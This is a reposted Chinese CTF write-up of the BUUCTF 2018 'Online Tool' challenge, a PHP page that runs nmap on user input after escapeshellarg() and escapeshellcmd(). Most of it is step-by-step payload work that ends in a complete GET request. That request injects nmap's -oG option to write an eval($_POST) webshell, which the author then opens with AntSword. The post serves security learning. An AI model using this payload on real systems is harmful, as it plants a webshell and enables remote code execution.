『CTF Web复现』[BUUCTF 2018]Online Tool
Posted Ho1aAs
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了『CTF Web复现』[BUUCTF 2018]Online Tool相关的知识,希望对你有一定的参考价值。
利用点
- nmap写文件
- escapeshellarg() + escapeshellcmd()使用不当
代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行
解题
nmap写文件
escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE
可以通过-oN
和-oG
参数写入文件
nmap '<?php eval($_POST[a]);?>' -oN 1.php
那就先试试-oN
escapeshellarg() + escapeshellcmd()使用不当
起一个本地环境
<?php
show_source(__FILE__);
$cmd = $_GET["cmd"];
echo '</br>';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '</br>';
echo $cmd;
$cmd = escapeshellcmd($cmd);
echo '</br>';
echo $cmd;
echo '</br>';
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;
直接传入'<?php eval($_POST[a]);?>' -oN 1.php
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php
'' -oN 1.php
''\\'''\\'' -oN 1.php'
''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\>'\\\\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\>'\\\\'' -oN 1.php'
执行的命令可以简化为:
nmap \\ <?php eval($_POST[a]); ?>'\\\\'' -oN 1.php'
可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断
那么我们将引号从-oN
之前转移到最后,即传入'<?php eval($_POST[a]);?> -oN 1.php'
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php'
' -oN 1.php'
''\\'' -oN 1.php'\\'''
''\\\\'' \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php'\\\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\\\'' \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php'\\\\'''
相当于直接运行:
nmap \\\\ \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php'\\\\'
但是,这一步出错了,在于写文件名把最后的斜杠写进去了
那么我们只要在末尾引号前加一个空格即可:传入'<?php eval($_POST[a]);?> -oN 1.php '
,目的是截断引号
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php '
' -oN 1.php '
''\\'' -oN 1.php '\\'''
''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php '\\\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\\\''\\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php '\\\\'''
相当于直接运行:
nmap \\\\ \\<\\?php eval\\(\\$_POST\\[a\\]\\)\\;\\?\\> -oN 1.php '\\\\'
这里的文件名就正常了
上传后提示出错,应该是由于-oN
写入了所有提示信息,因此写入无效的句点
这些无效的句点被PHP解析了所以出错了
那么我们换成-oG
参数,我们可以看一下两个参数写入的区别:
使用-oG
的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入'<?php eval($_POST[a]);?> -oG 1.php '
,蚁剑连接即可
Payload
[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '
完
欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs
以上是关于『CTF Web复现』[BUUCTF 2018]Online Tool的主要内容,如果未能解决你的问题,请参考以下文章
[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)
[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)